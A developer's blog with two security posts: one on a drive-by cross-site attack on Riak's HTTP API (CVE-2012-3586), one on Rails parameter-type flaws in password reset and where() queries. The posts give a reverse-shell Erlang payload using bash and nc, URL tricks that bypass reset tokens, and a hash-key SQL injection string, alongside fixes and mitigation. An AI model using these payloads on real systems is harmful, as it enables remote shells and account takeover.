Ben's Blog

Developer Musings

Riak Drive by Attack

Be careful with Riak HTTP API (CVE-2012-3586)

This has been fixed in Riak 1.1.4

I would recommend not running the Riak HTTP API on a machine that you browse the internet on or on a machine that is reachable by machines that can browse the internet.

This is heavily based on Aphyr’s work. I’ve taken his work and used it in a cross site scripting attack. When you click the attack me button your riak process will attempt to connect to localhost:6666. If you run nc -l 6666 and wait for a connection you will have a shell with the privileges of the user running riak.

The attack will perform the following actions

  1. Write the value lols=lols to the key i_can_run_better in bucket everything_you_can_run
  2. Write the value spawn(fun() -> os:cmd("mkfifo /tmp/mypipe.$$ && cat /tmp/mypipe.$$ | /bin/bash -i 2>&1 | nc localhost 6666 > /tmp/mypipe.$$") end) to the file /tmp/evil.erl
  3. Evalute the contents of /tmp/evil.erl using the erlang function file:path_eval. This will cause your machine to try and open a connection to localhost:6666 that is backed by a shell running under the riak user.

By clicking ‘Hack Me’ you agree that you have reviewed the source code of this page and understand what the attack will do and will not hold the author of this page liable for any damage the attack may cause.

Click ‘Hack Me’ below to start the attack.

Abusing Dynamic Types for Fun and Profit

Most Rails applications don’t properly sanitise user input when passing it to queries (UPDATE: Rails has fixed the problems raised in this article so it was mostly a Rails problem rather than an application programmer problem). I’m going to use an example to illustrate this problem.

The Scenario

Johnny has been tasked to add a password reset feature to his Rails application. So he adds a reset_token to his User model and a PasswordsController class to the application. When the user forgets their password they type in their email and a reset_token is generated and saved on the User model and a url containing the reset token is sent to the users email address. The url looks like /users/1/passwords/edit?reset_token=kjksldjflskdjf. This reset token is then checked when the user resets their password. Johnny writes the following code in the PasswordsController:

1
2
3
4
5
6
7
8
9
10
11
def update
  @user = User.find_by_id_and_reset_token(
                 params[:user_id], params[:reset_token])

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

Johnny deploys this new feature to the staging environment and Mary is given the task to test it. Now Mary is quite clever and checks what happens if she removes the reset_token parameter from the url and changes the user id. She visits the url /users/2/passwords/edit and finds that she can change the password for any user that has not requested their password to be reset. She raises this as a critical bug.

Johnny reproduces the problem on his machine and notices it is is doing the following query:

1
2
User Load (0.2ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 2 
  AND `users`.`reset_token` IS NULL LIMIT 1

He realises he needs to stop users from not sending the reset_token parameter because if params[:reset_token] is nil then they can update any user who hasn’t requested a password reset. He updates the code in PasswordController to the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def update

  if params[:reset_token].blank?
    flash_failure_after_update
    render :template => 'passwords/edit'
    return
  end

  @user = User.find_by_id_and_reset_token(
                 params[:user_id], params[:reset_token])

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

Mary tries her trick again but it doesn’t work this time. But Mary has more tricks in her bag and this time she uses the url /users/2/passwords/edit?reset_token[] . Again she is able to change the password for any user that has not had a reset_token generated.

Johnny reproduces the problem on his machine and sees it doing the same query:

1
2
User Load (0.2ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 2 
  AND `users`.`reset_token` IS NULL LIMIT 1

Johnny is completely stumped as to how nil.blank? could be false. He adds some logging and finds the params[:reset_token] is actually an array containing a nil element: [nil]. He decides to fix the problem by calling to_s on the query parameters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def update

  if params[:reset_token].blank?
    flash_failure_after_update
    render :template => 'passwords/edit'
    return
  end

  @user = User.find_by_id_and_reset_token(
                 params[:user_id].to_s, params[:reset_token].to_s)

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

Not Just Arrays (SQL Manipulation)

If Johnny had a used the where function instead of find_by_ then an attacker could have exploited it by passing in a Hash instead of an Array.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def update

  if params[:reset_token].blank?
    flash_failure_after_update
    render :template => 'passwords/edit'
    return
  end

  @user = User.where(:id => params[:user_id], :reset_token => params[:reset_token]).limit(1).first

  if @user.update_password(params[:user][:password])
    redirect_to(url_after_update)
  else
    flash_failure_after_update
    render :template => 'passwords/edit'
  end
end

For example Mary could of sent the url /users/2/passwords/edit?reset_token[users.id]=2. The query then performed would have been:

1
2
User Load (0.2ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 2 
  AND `users`.`id` = 2 LIMIT 1

The user is able to change the token filter to a filter on a column of their choice. On previous versions of Rails this attack can be escalated to arbitrary SQL injection. This attack uses the previously fixed issue of SQL injection in table names and columns. This bug was originally not as serious because you would not normally let a user choose arbitrary columns or table names in a query. However, with the SQL Manipulation bug an attacker is now able to change table and column names to perform SQL injection.

1
2
3
4
5
params[:role_id] = {"user_details.id` = 1 or 1 = 1); -- " => 1}
UserDetail.find(:all, :conditions => {:role_id => params[:role_id]})

UserDetail Load (0.5ms)   SELECT * FROM `users` WHERE
(`user_details`.`id` = 1 or 1 = 1); -- ` = 1)

This Hash problem is actually a security bug in rails and the rails team has released a patch for it.

Underlying Problem

The problem is developers expect the user input to be a String but it can also be an Array or a Hash and Rails has quite different behaviour if a Hash or an Array is passed in. The Hash is particularly troubling because if you have a filter on column X then a user can change it to be a filter on column Y. Example:

1
2
3
4
irb(main):001:0> User.where(:id => 1, :confirmation_token => "foo")
  User Load (0.4ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 
    AND `users`.`confirmation_token` = 'foo'
=> []
1
2
3
4
irb(main):002:0> User.where(:id => 1, :confirmation_token => {"users.id" => "1"})
  User Load (0.4ms)  SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 
    AND `users`.`id` = 1
=> [#<User id: 1, email: "benmmurphy@gmail.com", encrypted_password: "f1fcf94f12b17a447e1c4a98ba2bae934aacabb7", salt: "abcb87e3031102d110cf87734d39d8a1e6d8c03e", confirmation_token: nil, remember_token: "975dc5fb3524a90f1a6aff4c1a111d2cd8bfcc50", created_at: "2012-05-15 08:28:01", updated_at: "2012-05-15 08:28:01">]

This Hash trick only seems to work on where filterings and not find_by methods:

1
2
3
irb(main):006:0> User.find_by_id_and_confirmation_token(1, {"users.id" => "1"})
ArgumentError: Unknown key: users.id
  from /Users/benmurphy/.rbenv/versions/1.9.2-p290/lib/ruby/gems/1.9.1/gems/activesupport-3.2.2/lib/active_support/core_ext/hash/keys.rb:44:in `block in assert_valid_keys'

Vulnerable Code

  • https://github.com/thoughtbot/clearance - Possible to change any users password.
  • Rails ( 2.3.x, < 3.2.6, <3.1.6, < 3.0.14) SQL manipulation/SQL injection anywhere there is use of where() or find() that takes user input.

Fixes

  • Rails has released 3.2.6 that fixes both the nil issue and SQL manipulation/injection problems with Hash.
  • Clearance has released a new version 0.6.13 which fixes the problem with nil parameters

Mitigation

It is recommended that you install the Rails patches to fix the Hash problem and nil problem. Also, with security sensitive code I strongly recommend all query parameters be coerced to the type you expect them to be. For example if you expect a parameter to be a String you should call to_s on it.

Previous Work

The Devise team seem to have been aware of the general problem of users being able to send non-string parameters. They have a ParamFilter class that forces all parameters to be Strings. It looks like they did this because they had an injection problem with mongoid.

ParamFilter link
1
2
3
4
5
6
7
# Force keys to be string to avoid injection on mongoid related database.
def stringify_params(conditions)
  return conditions unless conditions.is_a?(Hash)
  conditions.each do |k, v|
    conditions[k] = v.to_s if param_requires_string_conversion?(v)
  end
end

Stay Tuned

We only covered the issues fixed in 3.2.5 and 3.2.4 in this article. There was another variant of the Hash attack that was fixed in 3.2.6. I will cover that in a future article and show how to exploit it.